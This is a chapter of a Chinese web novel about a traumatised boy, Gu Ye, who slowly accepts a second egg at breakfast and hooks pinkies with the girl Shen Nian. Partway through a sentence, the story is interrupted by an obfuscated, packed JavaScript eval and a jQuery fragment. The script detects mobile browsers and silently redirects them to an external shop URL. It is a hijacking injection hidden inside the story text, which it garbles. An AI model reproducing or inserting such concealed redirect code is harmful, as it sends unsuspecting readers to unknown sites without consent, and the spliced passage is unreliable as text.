第四天早上，沈渡在厨房煮面。
三个蛋，四个锅——不，是四个蛋。他把第四个蛋磕进锅里的时候，沈念跑进了厨房，踮着脚尖往锅里看。“爸爸你今天煮了好多蛋。”她说。“嗯。”“为什么？”“因为有人需要两个蛋。”
沈念没有问“谁需要”。她踮着脚尖看了看锅里的四个蛋，然后扭头朝走廊喊了一声：“林暮！林鸢！吃早饭了！今天有四个蛋！”她没有喊顾夜。因为她知道顾夜不喜欢被喊。她只是声音大了一些，大到走廊墙角一定能听见。
四个人坐在餐桌前。沈念的碗里有蛋，林暮的碗里有蛋，林鸢的碗里有蛋。多出来的那个蛋在锅里，沈渡没有盛到任何人的碗里，他把锅放在了餐桌中间，蛋泡在面汤里，金黄色的蛋黄完整如初，像一个在温泉里泡澡的太阳。
没有人去夹那个蛋。
沈念在等，林暮在等，林鸢在等。沈渡也在等。但没有人在等“谁会先夹那个蛋”，他们在等的是——谁敢拥有第二个蛋。在这个家里，食物是够的，爱是够的，但顾夜还不知道。八年来所有的经验都在告诉他：多的那个不是给你的，好的那个不是给你的，第二个鸡蛋永远轮不到你。他需要时间，需要很多很多顿饭，需要很多很多个“多的那个就是你”的时刻，才能真正相信：不是施舍，不是可怜，是——你在，所以有一个蛋是你的；你还在，所以第二个蛋也是你的。
顾夜低着头，喝自己碗里的汤。但他喝得很慢，眼睛一直在往锅的方向瞟。锅里的蛋在面汤里轻轻晃动着，蛋黄在水面上露出一小半，金黄色的，像一只正在游泳的小鸭子。
他的手在桌子下面攥了攥拳，指甲掐进掌心里。然后他松开了手，拿起勺子，伸向锅里的那个蛋。勺子碰到蛋的时候，他的手抖了一下，蛋从勺子上滑下去，溅起一小朵水花。他又试了一次，这次稳了一些，把蛋舀了起来。蛋在勺子里晃了晃，但没有掉。他把它放在自己的碗边——不是放进碗里，是放在碗边，蛋挨着碗沿，像一个在门口犹豫要不要进去的客人。
然后他低下头，把蛋吃了。一小口，一小口，蛋黄流出来，沾在嘴角上，金黄色的，像一小抹阳光。他没有擦。沈念看见了，没有说“你嘴角有蛋黄”。林暮看见了，递了一张纸巾，放在顾夜手边。林鸢看见了，把小夜从椅子旁边抱起来，琴头朝着顾夜的方向。沈渡看见了，把锅端走了。
没有人说“你终于吃了那个蛋”。因为他们知道，“终于”这个词对顾夜来说太久了。八年。
吃完早饭，顾夜没有回走廊墙角。他站在餐桌旁边，看着沈念把碗摞在一起端去厨房，看着林暮把桌子擦了三遍，看着林鸢把琴弦擦了一遍又一遍。他站在那看了很久，然后做了一件很小的事——他把自己的碗拿起来，端去了厨房。他把碗放进水池里，碗底朝上，那只蜷成球的刺猬露在外面。他把刺猬碗翻过来，让刺猬趴在碗底，脸朝下，屁股朝上，像一个在练习潜水的小朋友。
沈念看到了，捂着嘴笑了。她的笑声很小，但顾夜听见了。他的耳朵红了一下，转身走回了走廊。但这一次他没有蜷回墙角。他在墙角站了一会儿，然后把念念不忘从地上扶起来，拍掉了熊肚子上的灰，把熊端端正正地靠墙摆好。然后他蹲下来，把褥子叠了。不是沈渡叠的那种方方正正的豆腐块，是叠成了一条长长的、像香肠一样的东西。不好看，但很认真。他把“香肠”放在枕头上面，枕头放在褥子上面，褥子放在墙角最里面。然后他站在那里，看着自己叠的“香肠”，歪了歪头，好像在说：嗯，就这样吧。
然后他走出去，走到沈念面前。
沈念正在客厅画画，画的是四个小人，一大三小。大人在最左边，三个小孩排成一排，高矮不一。最右边那个小人画得特别小，缩在纸的角落里，身上画满了刺——是刺猬。顾夜站在她面前，沈念抬起头，看见顾夜伸出右手，手背朝上。手背上贴着一张歪歪扭扭的创可贴，小熊举着蜂蜜罐子，罐子歪了，蜂蜜快洒出来了。顾夜用左手食指点了一下创可贴上的小熊，又点了一下自己，然后把手伸向沈念。
沈念低头看了看他的手，又抬头看了看他的脸。顾夜没有看她——他在看墙，在看地板，在看窗台上的绿萝，在看一切可以看的地方，唯独不看她。但他的右手伸在那里，像一根被风吹斜的树枝，伸向一个有阳光的方向。
沈念放下画笔，伸出自己的右手。她的右手上也贴着一张创可贴，粉色的，小熊举着蜂蜜罐子，和顾夜手上的一模一样。她把手指伸过去，碰了一下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547256|204194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
顾夜的手指，碰了一下就缩回来了。像两只第一次见面的小动物，用鼻子互相嗅了嗅，确认对方不是敌人。
顾夜的手还伸在那里。
沈念又把手指伸了过去，这次没有缩回来。两只贴着小熊创可贴的手，两根贴着粉色胶布的手指，轻轻勾在了一起。不是握手，是勾小拇指。沈念的方式——她不会握手，她觉得握手太正式了，勾小拇指才是好朋友之间该做的事。
顾夜的手没有动，没有勾回来，但他也没有抽走。他的小拇指被沈念勾着，像一只被绳子拴住的小船，终于靠了岸。岸上有人，有熊，有琴，有浅蓝色的毯子，有鸢尾花的小夜灯，有一碗加蛋的面。
他低下头，看着两个人勾在一起的小拇指。他的嘴唇动了动，没有声音。但这一次，他的喉咙没有压住那个字。那个字从他的喉咙里挤了出来，像一颗被压了很久的种子，终于从土里探出了头。
“……嗯。”
不是字。是气声。是鼻腔震动带出来的一个音节，比呼吸声大一点点，比说话声小很多很多。但它是一个回应。是沈念勾住他小拇指的时候，他给出的回应。
沈念听到了。她的眼睛一下子亮了，像有人在那两颗葡萄里点了一盏灯。她没有喊“顾夜说话了”，没有跑去找爸爸邀功，没有做任何会吓跑他的事情。她只是更轻地勾着他的小拇指，用几乎听不见的声音说了一句：“嗯。”
顾夜垂下眼睛，睫毛颤了颤。走廊里，鸢尾花小夜灯还亮着，虽然是白天，但灯没有灭。橘黄色的光在日光里几乎看不见，但它亮着。像顾夜喉咙里那个“嗯”字——小到几乎不存在，但它在那里。它是破土而出的第一声，是冰面下的第一道流水，是一只蜷缩了太久的刺猬，终于伸出了一根刺，试探着碰了碰这个世界的温度。
世界是暖的。碰他的那根手指是暖的。勾着他小拇指的那只手是暖的。沙发上的熊，熊肚子里被打过无数次的云，都是暖的。
顾夜的嘴角，在那根刺伸出去之后，轻轻弯了一下。刺猬笑了。大概没有人见过刺猬笑。但那天，客厅里沙发上，沈念看见了。她看见那只缩在角落里、浑身是刺、不说话的小刺猬，嘴角弯了一下。只是一下。但那是她在六岁的秋天，收到的最好的礼物。